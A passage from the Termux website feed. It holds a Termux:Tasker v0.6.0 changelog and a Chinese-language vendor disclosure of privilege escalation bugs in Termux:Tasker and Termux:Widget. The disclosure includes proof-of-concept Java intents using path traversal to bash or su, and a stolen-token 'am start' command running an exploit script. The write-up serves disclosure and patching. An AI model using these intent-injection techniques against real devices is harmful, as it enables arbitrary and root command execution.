<li>
<p>删除指向 Google Play和 Nethunter 商店的链接。 因为两者都提供过时的构建 (<a href="https://github.com/termux/termux-tasker/commit/552d592e"><code>552d592e</code></a>)</p>
</li>
</ul>
<h2 id="section-7"></h2>
<h2 id="section-8">下载</h2>
<ul>
<li><a href="https://f-droid.org/repo/com.termux.tasker_6.apk">F-Droid Termux:Tasker APK 直接链接</a></li>
<li><a href="https://f-droid.org/en/packages/com.termux.tasker">F-Droid Termux:Tasker 网站</a></li>
<li><a href="https://f-droid.org/en/packages/org.fdroid.fdroid">F-Droid App</a> (在<code>Updates</code>选项卡中从顶部下拉以显示更新)</li>
</ul>
<h2 id="section-9"></h2>
<p>如果您遇到任何问题，请随时在 <a href="https://github.com/termux/termux-tasker/issues">Github</a>, <a href="https://matrix.to/#/#termux_termux:gitter.im">Matrix</a> 或<a href="https://www.reddit.com/r/termux">Reddit</a>上报告， Thanks :)</p>]]></content><author><name></name></author><category term="apps" /><summary type="html"><![CDATA[Termux:Tasker v0.6.0 版本已经发布。]]></summary></entry><entry xml:lang="en"><title type="html">Termux:Tasker v0.6.0 Release</title><link href="https://termux.dev/en/posts/apps/2022/02/25/termux-tasker-v0.6.0-release.html" rel="alternate" type="text/html" title="Termux:Tasker v0.6.0 Release" /><published>2022-02-25T00:00:00+00:00</published><updated>2022-02-25T00:00:00+00:00</updated><id>https://termux.dev/en/posts/apps/2022/02/25/termux-tasker-v0.6.0-release</id><content type="html" xml:base="https://termux.dev/en/posts/apps/2022/02/25/termux-tasker-v0.6.0-release.html"><![CDATA[<p>The <code>Termux:Tasker</code> <code>v0.6.0</code> is out.</p>
<p><strong>It is highly recommended that you update to <code>v0.5.0</code> or higher for fixes for vulnerabilities disclosed in the <a href="https://termux.github.io/en/posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html">Termux Apps Vulnerability Disclosures</a> post.</strong></p>
<h2 id="section"></h2>
<p>You can check the release at github <a href="https://github.com/termux/termux-tasker/releases/tag/v0.6.0">here</a>.</p>
<h2 id="section-1"></h2>
<h1 id="changelog">Changelog</h1>
<h2 id="a-hrefhttpsgithubcomtermuxtermux-taskercomparev05v060v060a---2022-02-21-0922"><a href="https://github.com/termux/termux-tasker/compare/v0.5...v0.6.0">v0.6.0</a> - 2022-02-21 09.22</h2>
<h3 id="added">Added</h3>
<ul>
<li>
<p>Add support for <code>stdin</code> for background commands. Users can now pass scripts via <code>stdin</code>, like a <code>bash</code> script to the <code>$PREFIX/bin/bash</code> shell and a <code>python</code> script to the <code>$PREFIX/bin/python</code> shell or any other commands. Note that if passing script via <code>stdin</code>, do not pass arguments, since it will fail depending on shell, at least will for <code>bash</code>. Max length of script supported is <code>45K</code> characters as per Tasker plugin bundle limits, check <a href="https://github.com/termux/termux-tasker/blob/v0.6.0/app/src/main/java/com/termux/tasker/EditConfigurationActivity.java#L262"><code>EditConfigurationActivity.setStdinView()</code></a> for details. Closes <a href="https://github.com/termux/termux-tasker/issues/46">#46</a>. (<a href="https://github.com/termux/termux-tasker/commit/05af1af1"><code>05af1af1</code></a>)</p>
</li>
<li>
<p>Add support for custom log level for background commands. Values must be between <code>Logger.LOG_LEVEL_OFF (0)</code> and <code>Logger.MAX_LOG_LEVEL</code> (currently <code>Logger.LOG_LEVEL_VERBOSE (3)</code> as per <a href="https://github.com/termux/termux-app/commit/60f37bde"><code>termux/termux-app@60f37bde</code></a>. (<a href="https://github.com/termux/termux-tasker/commit/5bf15189"><code>5bf15189</code></a>)</p>
</li>
<li>
<p>Add support for session action for foreground commands. Valid values are defined by <code>TermuxConstants.TERMUX_APP.TERMUX_SERVICE.VALUE_EXTRA_SESSION_ACTION_*</code>, currently, between <code>0</code> and <code>3</code> at <a href="https://github.com/termux/termux-app/blob/v0.117/termux-shared/src/main/java/com/termux/shared/termux/TermuxConstants.java#L856">https://github.com/termux/termux-app/blob/v0.117/termux-shared/src/main/java/com/termux/shared/termux/TermuxConstants.java#L856</a>. (<a href="https://github.com/termux/termux-tasker/commit/6f6ddd0d"><code>6f6ddd0d</code></a>)</p>
</li>
<li>
<p>Add support for waiting for foreground session command results. Previously configured actions will behave the same, i.e wait for only background commands. For new or edited actions, the <code>Wait for result for commands</code> toggle value will be used to decide whether to wait for result of commands. It will apply to both foreground session and background commands. Note that for foreground commands, only the session transcript is returned which will contain both <code>stdout</code> and <code>stderr</code> combined in <code>%stdout</code> variable, basically anything sent to the the pseudo terminal <code>/dev/pts</code>, including <code>PS1</code> prefixes for interactive sessions. For foreground commands that exited with failure will require <code>termux-app</code> version <code>&gt;=0.118</code> for sessions to automatically close without waiting for user to press enter as per <a href="https://github.com/termux/termux-app/commit/c19e01fc"><code>termux/termux-app@c19e01fc</code></a>. Closes <a href="https://github.com/termux/termux-tasker/issues/39">#39</a>. (<a href="https://github.com/termux/termux-tasker/commit/fecba503"><code>fecba503</code></a>)</p>
</li>
<li>
<p>Add support for <code>%stdout_original_length</code> and <code>%stderr_original_length</code> result variables as per <a href="https://github.com/termux/termux-app/commit/f62febbf"><code>termux/termux-app@f62febbf</code></a> and <a href="https://github.com/termux/termux-app/commit/a2209ddd"><code>termux/termux-app@a2209ddd</code></a>. (<a href="https://github.com/termux/termux-tasker/commit/1c1567f2"><code>1c1567f2</code></a>)</p>
</li>
<li>
<p>Add launcher icon/activity that can optionally be disabled. This allows users to know if they have installed the termux plugin without having to go to android settings app list and should help reduce issues created when users shift termux installation source and get signatures do not match previously installed version errors. This is also required on some phones to allow the user to opt out the app from OEM background killers like DuraSpeed. Related issue <a href="https://github.com/termux/termux-widget/issues/56"><code>termux/termux-widget#56</code></a>. (<a href="https://github.com/termux/termux-tasker/commit/8a78f282"><code>8a78f282</code></a>)</p>
</li>
<li>
<p>Add explicit exported attribute for app components as required by Android <code>12</code>. <a href="https://developer.android.com/about/versions/12/behavior-changes-12#exported">https://developer.android.com/about/versions/12/behavior-changes-12#exported</a>. (<a href="https://github.com/termux/termux-tasker/commit/50e20b22"><code>50e20b22</code></a>)</p>
</li>
<li>
<p>Add Day/Night theme support for <code>EditConfigurationActivity</code> based on <code>night-mode</code> <code>termux.properties</code> value. The stdin <code>TextIOActivity</code> will always use light theme since it doesn't currently support dark mode. Support will be added in future when <code>termux-shared</code> is updated with media viewer support. (<a href="https://github.com/termux/termux-tasker/commit/b2cc90b6"><code>b2cc90b6</code></a>)</p>
</li>
<li>
<p>Send plugin github repo url to <code>TermuxService</code> to be shown in case of failure. (<a href="https://github.com/termux/termux-tasker/commit/2eca337f"><code>2eca337f</code></a>)</p>
</li>
<li>
<p>Automatically attach debug APKs when a release is created. (<a href="https://github.com/termux/termux-tasker/commit/705361ec"><code>705361ec</code></a>)</p>
</li>
<li>
<p>Add LICENSE.md. (<a href="https://github.com/termux/termux-tasker/commit/cf1eda49"><code>cf1eda49</code></a>)</p>
</li>
<li>
<p>Added crash handler so that crash notifications can be shown in <code>termux-app</code> at startup. (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
</ul>
<h3 id="changed">Changed</h3>
<ul>
<li>
<p>Redesign plugin configuring views with <code>CardView</code> support. For <code>stdin</code>, the <code>TextIOActivity</code> provided by <code>termux-shared</code> will be used temporarily. (<a href="https://github.com/termux/termux-tasker/commit/05af1af1"><code>05af1af1</code></a>, <a href="https://github.com/termux/termux-tasker/commit/b52db047"><code>b52db047</code></a>, <a href="https://github.com/termux/termux-tasker/commit/9c287360"><code>9c287360</code></a>)</p>
</li>
<li>
<p>Enable background mode and wait for results toggle for new plugin configs. (<a href="https://github.com/termux/termux-tasker/commit/70d97e7a"><code>70d97e7a</code></a>)</p>
</li>
<li>
<p>Keep plugin config values when saving even if they wont be used since stdin scripts may be deleted accidentally. (<a href="https://github.com/termux/termux-tasker/commit/26e1f5ea"><code>26e1f5ea</code></a>)</p>
</li>
<li>
<p>Move to semantic versioning for app version and add commit hash and <code>github</code> to APK file names.(<a href="https://github.com/termux/termux-tasker/commit/4920bcd2"><code>4920bcd2</code></a>)</p>
</li>
<li>
<p>Trim arguments length to <code>20</code> in blurb. (<a href="https://github.com/termux/termux-tasker/commit/a80fe8fb"><code>a80fe8fb</code></a>)</p>
</li>
<li>
<p>Increase blurb length from <code>60</code> to <code>120</code> since Tasker doesn't have that limit. If it affects other plugin host apps, it should be reported so that conditional blurb size can be used. (<a href="https://github.com/termux/termux-tasker/commit/a5bcd56a"><code>a5bcd56a</code></a>)</p>
</li>
<li>
<p>Disable <code>shrinkResources</code> and obfuscation for testing reproducible builds and maintaining stacktraces of crashes. (<a href="https://github.com/termux/termux-tasker/commit/93555047"><code>93555047</code></a>)</p>
</li>
<li>
<p>Do not automatically open keyboard when opening plugin configuring. (<a href="https://github.com/termux/termux-tasker/commit/267cf61c"><code>267cf61c</code></a>)</p>
</li>
<li>
<p>Remove all hardcoded <code>com.termux</code> constants and use the values defined by <code>TermuxConstants</code> and <code>TermuxPreferenceConstants</code> in <code>termux-shared</code> library. (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>Use extra constants returned by <code>TermuxService</code> defined in <code>TermuxConstants</code> for <code>PluginUtils</code>. (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>Use <code>FileUtils</code> and <code>TermuxFileUtils</code> provided by <code>termux-shared</code> to handle all file related functionality which has better, safer and more updated code. (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>Use <code>TermuxTaskerAppSharedPreferences</code> provided by <code>termux-shared</code> for handling <code>SharedPreferences</code> functionality. (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>Use <code>Logger</code> provided by <code>termux-shared</code> for logging. Log level will not be got from <code>SharedPreferences</code> for each log entry but will be loaded from <code>SharedPreferences</code> into the <code>Logger.CURRENT_LOG_LEVEL</code> variable at application startup and also in <code>FireReceiver</code> which runs as a separate process and maintains separate <code>Logger</code> instance. The <code>termux-app</code> can also set the log level from its settings. (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>Fix issue where log level was not being read from file, which has been fixed in <code>TermuxTaskerAppSharedPreferences</code> in upstream. (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>Previously working directory would only be created automatically if it was under <code>TermuxConstants.TERMUX_HOME_DIR_PATH</code> but now it will be created even if it's under <code>TermuxConstants.TERMUX_FILES_DIR_PATH</code>. (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>Use <code>ExecutionCommand</code> class to handle intent extras in <code>FireReceiver</code> since they are consistent with that of <code>TermuxService</code> <code>ACTION_SERVICE_EXECUTE</code> intent. (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
<li>
<p>Use <code>TermuxUtils</code> and <code>PackageUtils</code> provided by <code>termux-shared</code> and remove existing <code>TermuxUtils</code>. The <code>TermuxUtils.isTermuxAppAccessible()</code> will also check if <code>termux-tasker</code> can access <code>termux-app</code> package <code>Context</code>. (<a href="https://github.com/termux/termux-tasker/commit/63e76458"><code>63e76458</code></a>)</p>
</li>
</ul>
<h3 id="fixed">Fixed</h3>
<ul>
<li>
<p>Fix potential conflicting <code>PendingIntent</code> for execution commands sent to <code>TermuxService</code> due to same request code being used. (<a href="https://github.com/termux/termux-tasker/commit/d9a172d7"><code>d9a172d7</code></a>)</p>
</li>
<li>
<p>Fix <code>android.view.WindowManager$BadTokenException: Unable to add window exception</code> when switching to landscape mode. (<a href="https://github.com/termux/termux-tasker/commit/d0e88055"><code>d0e88055</code></a>)</p>
</li>
<li>
<p>Fix wrong error string returned for <code>null</code> plugin bundle. (<a href="https://github.com/termux/termux-tasker/commit/a0aaf8e8"><code>a0aaf8e8</code></a>)</p>
</li>
<li>
<p>Fix <code>NullPointerException</code> if arguments extra is not passed to <code>FireReceiver</code>. (<a href="https://github.com/termux/termux-tasker/commit/49acd107"><code>49acd107</code></a>)</p>
</li>
<li>
<p>Handle unlikely case where failed to get version code to generate plugin result bundle. (<a href="https://github.com/termux/termux-tasker/commit/f6e33687"><code>f6e33687</code></a>)</p>
</li>
</ul>
<h3 id="docs">Docs</h3>
<ul>
<li>
<p>Add google play store deprecation notice. (<a href="https://github.com/termux/termux-tasker/commit/17c69428"><code>17c69428</code></a>)</p>
</li>
<li>
<p>Add contributing and forking info. (<a href="https://github.com/termux/termux-tasker/commit/78fbc00e"><code>78fbc00e</code></a>)</p>
</li>
<li>
<p>Update debugging instructions. (<a href="https://github.com/termux/termux-tasker/commit/81828177"><code>81828177</code></a>)</p>
</li>
<li>
<p>Update plugin configuration instructions. (<a href="https://github.com/termux/termux-tasker/commit/f86a675a"><code>f86a675a</code></a>)</p>
</li>
<li>
<p>Update install instructions. (<a href="https://github.com/termux/termux-tasker/commit/ea1225ae"><code>ea1225ae</code></a>)</p>
</li>
<li>
<p>Remove links to Google Play and Nethunter stores. Both offer outdated builds. (<a href="https://github.com/termux/termux-tasker/commit/552d592e"><code>552d592e</code></a>)</p>
</li>
</ul>
<h2 id="section-2"></h2>
<h2 id="downloads">Downloads</h2>
<ul>
<li><a href="https://f-droid.org/repo/com.termux.tasker_6.apk">F-Droid Termux:Tasker APK Direct Link</a></li>
<li><a href="https://f-droid.org/en/packages/com.termux.tasker">F-Droid Termux:Tasker Site</a></li>
<li><a href="https://f-droid.org/en/packages/org.fdroid.fdroid">F-Droid App</a> (Pull down from the top in the <code>Updates</code> tab for the update to show)</li>
</ul>
<h2 id="section-3"></h2>
<p>If you face any issues, feel free to report them at <a href="https://github.com/termux/termux-tasker/issues">Github</a>, <a href="https://matrix.to/#/#termux_termux:gitter.im">Matrix</a> or <a href="https://www.reddit.com/r/termux">Reddit</a>. Thanks :)</p>]]></content><author><name></name></author><category term="apps" /><summary type="html"><![CDATA[The Termux:Tasker v0.6.0 is out.]]></summary></entry><entry xml:lang="cn"><title type="html">Termux应用程序漏洞披露</title><link href="https://termux.dev/cn/posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html" rel="alternate" type="text/html" title="Termux应用程序漏洞披露" /><published>2022-02-15T00:00:00+00:00</published><updated>2022-02-15T00:00:00+00:00</updated><id>https://termux.dev/cn/posts/security/2022/02/15/termux-apps-vulnerability-disclosures</id><content type="html" xml:base="https://termux.dev/cn/posts/security/2022/02/15/termux-apps-vulnerability-disclosures.html"><![CDATA[<p>这是 <code>termux-app</code>、<code>termux-tasker</code> 和 <code>termux-widget</code> 的漏洞报告。</p>
<p>本报告发布于 <code>2022-02-15</code>， 距 离 <code>termux-app</code> <a href="https://github.com/termux/termux-app/releases/tag/v0.118.0"><code>v0.118.0</code></a>  发布还剩<code>30</code> 天， 距离谷歌应用商店构建版本的程序被官方地使用添加在 <a href="https://github.com/termux/termux-packages/pull/7493"><code>termux-tools</code> <code>v0.135</code></a> 中的终端横幅以及 <a href="https://github.com/termux/termux-app/commit/94e01d68">添加带有弃用信息的 <code>termux-app</code> README</a> 弃用大约有 <code>150</code> 天。 这应该已经为使用谷歌应用商店版本 (最新版本 <code>v0.101</code>) 的用户留出足够的时间来切换到在 F-Droid 或 Github 发布的 <code>Termux</code> 主程序以及其插件应用，并为其他  <code>&lt;= v0.117</code> 版本的 Termux 应用程序用户提供足够的时间更新为 <code>&gt;= v0.118.0</code>版本。</p>
<p><strong>建议所有使用旧版本的用户立即更新到<a href="https://github.com/termux/termux-app/releases/tag/v0.118.0"><code>Termux</code> <code>v0.118.0</code></a>、 <a href="https://github.com/termux/termux-tasker/releases/tag/v0.5"><code>Termux:Tasker</code> <code>v0.5</code></a> 以及 <a href="https://github.com/termux/termux-widget/releases/tag/v0.13.0"><code>Termux:Widget</code> <code>v0.13.0</code></a></strong></p>
<h2 id="section">目录</h2>
<ul>
<li><a href="#termuxtasker-">1. Termux:Tasker 权限提升漏洞</a></li>
<li><a href="#termuxwidget-">2. Termux:Widget 权限提升漏洞</a></li>
<li><a href="#termux-">3. Termux 文件全局可读</a></li>
</ul>
<h2 id="section-1"></h2>
<h2 id="termuxtasker-">1. Termux:Tasker 权限提升漏洞</h2>
<p>此漏洞允许其他程序在 <code>termux</code> 上下文执行 <strong>任意指令</strong> 。如果 <code>termux</code> 被其他应用赋予了 root 权限，甚至可以允许在 <code>root</code> 权限的环境中执行。</p>
<p>本漏洞首先存在于 <a href="https://github.com/termux/termux-tasker/releases/tag/v0.1"><code>v0.1</code></a> (<code>2016-12-26</code>) 版本， <code>&lt;= v0.4</code> 的任意版本都会受到该漏洞的影响。本漏洞被修复于 <a href="https://github.com/termux/termux-tasker/releases/tag/v0.5"><code>v0.5</code></a> (<code>2020-12-07</code>).</p>
<p>该漏洞源于 Termux:Tasker 应用程序的 <a href="https://github.com/termux/termux-tasker/blob/v0.4/app/src/main/java/com/termux/tasker/FireReceiver.java#L50"><code>FireReceiver.java</code></a> 文件中，该文件中没有对可执行文件的完整规范路径进行检查并按提供的原样执行。实际上， <code>Termux:Tasker</code> 应用程序仅允许执行 <code>~/.termux/tasker</code> 目录中的脚本，以防止其他应用程序在 termux 上下文中执行任意命令，但没有对可执行文件进行规范路径检查。其他应用程序可以发送 <code>../../../usr/bin/bash</code> 作为 <code>executable</code> 参数、 <code>-c &quot;some termux context command&quot;</code> 作为 <code>args</code> 参数以在 <code>termux</code> 环境中执行命令，或者发送 <code>.. /../../usr/bin/su</code> 作为 <code>executable</code> 参数、 <code>-c &quot;some root context command&quot;</code> 作为 <code>args</code> 参数以在 <code>root</code> 权限的环境中执行命令</p>
<p>注意，不一定是 Termux 插件的应用程序将 Intent 发送到 <code>FireReceiver</code>，任何应用程序都可以使用 Java 代码发送 Intent。 <a href="/assets/posts/globals/general/2022-02-15-termux-apps-vulnerability-disclosures/Termux_Tasker_Exploit.tsk.xml"><code>Termux:Tasker Exploit</code></a> 给出了如何使用 <code>Tasker</code> 的 Java Action 来模拟一个普通的应用程序发送 Intent。</p>
<h3 id="poc">1. POC</h3>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Intent</span> <span class="n">intent</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Intent</span><span class="o">(</span><span class="s">"com.twofortyfouram.locale.intent.action.FIRE_SETTING"</span><span class="o">);</span>
<span class="n">intent</span><span class="o">.</span><span class="na">setClassName</span><span class="o">(</span><span class="s">"com.termux.tasker"</span><span class="o">,</span> <span class="s">"com.termux.tasker.FireReceiver"</span><span class="o">);</span>

<span class="nc">Bundle</span> <span class="n">bundle</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Bundle</span><span class="o">();</span>
<span class="n">bundle</span><span class="o">.</span><span class="na">putString</span><span class="o">(</span><span class="s">"com.termux.tasker.extra.EXECUTABLE"</span><span class="o">,</span> <span class="s">"../../../usr/bin/bash"</span><span class="o">);</span>
<span class="n">bundle</span><span class="o">.</span><span class="na">putString</span><span class="o">(</span><span class="s">"com.termux.execute.arguments"</span><span class="o">,</span> <span class="s">"-c \"echo -n 'I am '; whoami; echo 'creating exploit-file'; touch exploit-file; echo 'finding exploit-file'; find . -name exploit-file 2&gt;/dev/null; sleep 5;\""</span><span class="o">);</span>
<span class="n">bundle</span><span class="o">.</span><span class="na">putBoolean</span><span class="o">(</span><span class="s">"com.termux.tasker.extra.TERMINAL"</span><span class="o">,</span> <span class="kc">true</span><span class="o">);</span>
<span class="n">bundle</span><span class="o">.</span><span class="na">putInt</span><span class="o">(</span><span class="s">"com.termux.tasker.extra.VERSION_CODE"</span><span class="o">,</span> <span class="mi">4</span><span class="o">);</span>

<span class="n">intent</span><span class="o">.</span><span class="na">putExtra</span><span class="o">(</span><span class="s">"com.twofortyfouram.locale.intent.extra.BUNDLE"</span><span class="o">,</span> <span class="n">bundle</span><span class="o">);</span>
<span class="n">context</span><span class="o">.</span><span class="na">sendBroadcast</span><span class="o">(</span><span class="n">intent</span><span class="o">);</span>
</code></pre></div></div>
<h3 id="section-2">2. 修复方式</h3>
<ol>
<li>
<p>目前，向 <code>FireReceiver</code> 发送 Intent 需要向调用应用程序授予 <a href="https://github.com/termux/termux-tasker/blob/v0.5/app/src/main/AndroidManifest.xml#L45"><code>com.termux.permission.RUN_COMMAND</code></a>，一个 <code>危险</code> 的运行时权限，该权限由 <a href="https://github.com/termux/termux-app/blob/v0.118.0/app/src/main/AndroidManifest.xml#L16">Termux app</a> 发布。 在 <code>v0.5</code> 版本发布之前，从  <code>v5.9.3</code> 版本开始的 Tasker 应用已经请求过 <a href="https://github.com/termux/termux-app/wiki/RUN_COMMAND-Intent"><code>RUN_COMMAND</code> intent</a> 权限。其他自动化测试应用需要在之后的版本 (<a href="https://github.com/termux/termux-tasker/commit/26da42f7"><code>26da42f7</code></a>) 中请求此权限。</p>
</li>
<li>
<p>在执行之前， <code>FireReceiver</code> 首先 <a href="https://github.com/termux/termux-tasker/blob/v0.5/app/src/main/java/com/termux/tasker/FireReceiver.java#L70">寻找并校验</a> <code>executable</code> 参数的规范路径。 从 <code>v0.5</code> 版本开始，正式支持允许执行 <code>~/.termux/tasker</code> 目录之外的可执行文件，但前提是用户已经将 <code>allow-external-apps=true</code> 添加到 <code>~/.termux/termux.properties</code> 中。 (<a href="https://github.com/termux/termux-tasker/commit/a5af3db3"><code>a5af3db3</code></a>)</p>
</li>
</ol>
<p>这种由 Android 系统权限和应用程序设置绝对路径强制执行属性的双重权限模型提供了合理的安全性。除非用户将权限授予不受信任的应用程序，否则可以防止任何任意代码执行或权限提升。</p>
<p>访问 <code>Termux:Tasker</code> 的 <a href="https://github.com/termux/termux-tasker#setup-instructions"><code>README</code></a> 文件来获取更多详细信息。</p>
<h3 id="section-3">3. 讨论</h3>
<p>这种漏洞的存在，很大程度上是因为 <strong>任何程序都可以向自动化测试程序 (比如 <code>Tasker</code>) 的插件程序发送 Intent</strong>。<code>Tasker</code> ，以及它使用的 <a href="https://github.com/twofortyfouram/android-monorepo"><code>locale</code></a> 插件协议库是在 <code>2008</code> 年左右创建的。当时，安卓系统不存在运行时权限，并且插件的安全性以及可能存在的危险使用方法可能在当时并不算是首要任务/关注点。 但是，对于被授予特殊权限 (例如设备管理员、设备所有者、Android 辅助功能 (无障碍服务)，甚至存储、位置等) 的插件应用程序，它们的安全性确实尤其令人担忧。例如，<a href="https://play.google.com/store/apps/details?id=com.balda.securetask"><code>SecureTask</code></a> 插件，需要被设置为设备管理员，甚至许多功能需要被设置为设备所有者。如果用户在手机上安装了该应用程序，并授予 <code>SecureTask</code> 程序设备管理员的权限，那么任何应用程序都可以直接向其发送 Intent，而无需通过 Tasker 运行特权命令，包括 <strong>恢复出厂设置</strong> 等。</p>
<p><code>Termux:Tasker</code> 所需要的 <code>com.termux.permission.RUN_COMMAND</code> 权限，要求 Tasker 等自动化应用程序在其 <code>AndroidManifest.xml</code> 中请求权限，但不能指望所有的插件都这样去做，因为添加这种权限需要自动化应用程序开发者的手动干预。此外，私有的插件可能存在自定义权限，他们的开发人员可能并不想公之于众。之后，可能需要设计某种令牌生成和验证机制，也许会作为 <code>locale</code> 库的核心部分。希望在不久的将来，Termux、自动化程序以及 <code>locale</code> 库的开发者可以一起协作来实现这种功能，因为当前的设计并不是所预期的。</p>
<h2 id="section-4"></h2>
<h2 id="termuxwidget-">2. Termux:Widget 权限提升漏洞</h2>
<p>本漏洞允许任何 <strong>启动器程序</strong> 在 <code>termux</code> 环境中执行 <strong>任意指令</strong>。如果 <code>termux</code> 被其他应用赋予了 root 权限，甚至可以允许在 <code>root</code> 环境中执行。在该启动器中， <strong>任何的恶意应用程序</strong> 已经创建了一个快捷方式，该快捷方式启动了 <code>Termux:Widget</code> 的 shortcut chooser activity。当用户不小心点击了这个快捷方式时，无论该启动器是否为默认启动器，此漏洞都会被触发。</p>
<p>此漏洞首先存在于 <a href="https://github.com/termux/termux-widget/releases/tag/v0.3"><code>v0.3</code></a> (<code>2015-12-20</code>)版本，从 <code>v0.3</code> 到 <code>&lt;= v0.12</code> 的任意版本均会受到该漏洞的影响。此漏洞被修复于 <a href="https://github.com/termux/termux-widget/releases/tag/v0.13.0"><code>v0.13.0</code></a> (<code>2021-09-23</code>)版本。</p>
<p><code>Termux:Widget</code> 的 &quot;安全性&quot; 通过 <a href="https://github.com/termux/termux-widget/blob/v0.12/app/src/main/java/com/termux/widget/TermuxLaunchShortcutActivity.java#L23">生成 Token</a> 并将其存储在 SharedPreferences 中来实现。目前，启动器每次创建为静态快捷方式时，都会 <a href="https://github.com/termux/termux-widget/blob/v0.12/app/src/main/java/com/termux/widget/TermuxCreateShortcutActivity.java#L50">发送这个Token</a> 作为创建出的快捷方式 Intent 中的额外内容。当用户点击该快捷方式时，快捷方式的 Intent 由启动器应用程序发送并由 <code>TermuxLaunchShortcutActivity</code> 接收，并检查 <a href="https://github.com/termux/termux-widget/blob/v0.12/app/src/main/java/com/termux/widget/TermuxLaunchShortcutActivity.java#L39">Intent 中的 Token 与 SharedPreferences 中的Token 是否匹配</a>。现在这种方式提供了不错的安全性，并且是 API 的一般工作方式。但是，旧版本的程序 <a href="https://github.com/termux/termux-widget/blob/v0.12/app/src/main/java/com/termux/widget/TermuxLaunchShortcutActivity.java#L51">没有进行规范路径校验</a>，并将其按原样传递给 <a href="https://github.com/termux/termux-widget/blob/v0.12/app/src/main/java/com/termux/widget/TermuxLaunchShortcutActivity.java#L51"><code>TermuxService</code></a>。没有检查规范路径是否在 <code>~/.shortcuts</code> 目录下。因此，一旦恶意的启动器或任何其他的应用程序收到 Token，它就可以随时执行任何命令，如用于前台命令的 &quot;/sdcard/exploit.sh&quot; 或者用于后台的 &quot;/sdcard/tasks/exploit.sh&quot; (<code>Termux:Widget</code> 会将其设定为后台任务，<a href="https://github.com/termux/termux-widget/blob/v0.12/app/src/main/java/com/termux/widget/TermuxLaunchShortcutActivity.java#L55">因为父目录名等于<code>tasks</code></a>)。</p>
<h3 id="poc-1">1. POC</h3>
<ol>
<li>
<p>安装 <a href="https://f-droid.org/en/packages/com.termux.widget"><code>Termux:Widget</code> <code>v0.12</code></a>.</p>
</li>
<li>
<p>通过 Termux Terminal 创建一个快捷方式: <code>touch ~/.shortcuts/tasks/test</code></p>
</li>
<li>
<p>通过以下方式获取 Token: 安装并打开 <a href="https://github.com/agnostic-apollo/TaskerLauncherShortcut/releases"><code>TaskerLauncherShortcut</code></a>, 点击 选项 (右上角的三个点按钮)，选择 <code>Search Shortcuts</code> -&gt; <code>Static Shortcut</code> -&gt; <code>Termux:Widget</code> -&gt; 选择任意一个快捷方式， Intent URI 会被复制到剪切板，比如  <code>com.termux.file:/data/data/com.termux/files/home/.shortcuts/tasks/test#Intent;component=com.termux.widget/.TermuxLaunchShortcutActivity;S.com.termux.shortcut.token=22e30b81-5d67-4ee3-be0e-66169f637025;end</code>。也可以通过 Termux Terminal 来获取 Token，在至少创建了一个快捷方式后，执行 <code>cat /data/data/com.termux.widget/shared_prefs/token.xml</code>。</p>
</li>
<li>
<p>通过 Termux Terminal 创建漏洞利用脚本: <code>echo 'whoami; su -c whoami; sleep 5' &gt; /sdcard/exploit.sh</code></p>
</li>
<li>
<p>通过 Termux Terminal 或者 <code>adb shell</code> 触发此漏洞: <code>am start --user 0 -n com.termux.widget/.TermuxLaunchShortcutActivity -d /sdcard/exploit.sh --es com.termux.shortcut.token 22e30b81-5d67-4ee3-be0e-66169f637025</code></p>
</li>
</ol>
<p>或者从任何一个应用程序，执行以下 Java 代码：</p>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="nc">Intent</span> <span class="n">intent</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Intent</span><span class="o">();</span>
    <span class="n">intent</span><span class="o">.</span><span class="na">setClassName</span><span class="o">(</span><span class="s">"com.termux.widget"</span><span class="o">,</span> <span class="s">"com.termux.widget.TermuxLaunchShortcutActivity"</span><span class="o">);</span>
    <span class="n">intent</span><span class="o">.</span><span class="na">setData</span><span class="o">(</span><span class="nc">Uri</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="s">"/sdcard/exploit.sh"</span><span class="o">));</span>
    <span class="n">intent</span><span class="o">.</span><span class="na">putExtra</span><span class="o">(</span><span class="s">"com.termux.shortcut.token"</span><span class="o">,</span> <span class="s">"22e30b81-5d67-4ee3-be0e-66169f637025"</span><span class="o">);</span>
    <span class="n">startActivity</span><span class="o">(</span><span class="n">intent</span><span class="o">);</span>
</code></pre></div></div>
<p>Termux 应用程序将会执行使用 <code>/data/data/com.termux/files/usr/bin/sh</code> 执行 <code>/sdcard/exploit.sh</code> 脚本，<code>/sdcard</code> 被挂载为 <code>noexec</code> 也没有问题。</p>
<h3 id="section-5">2. 修复方式</h3>
<ol>
<li>
<p>在 Android 版本 <code>&gt;=8</code> 时，程序将使用 <code>ShortcutManager</code> API 来创建Pinned Shortcut。这是一个创建快捷方式的更好方法，因为启动器无法访问应用程序的快捷方式数据，Android 系统来储存这些数据，启动器应用程序无法获取 Token ，也无法运行任何不是由用户创建的快捷方式脚本。有关快捷方式类型的更多信息，请查看 <a href="https://github.com/agnostic-apollo/TaskerLauncherShortcut#shortcut-types%E3%80%82">https://github.com/agnostic-apollo/TaskerLauncherShortcut#shortcut-types。</a> (<a href="https://github.com/termux/termux-widget/commit/e94d7777"><code>e94d7777</code></a>)</p>
</li>
<li>
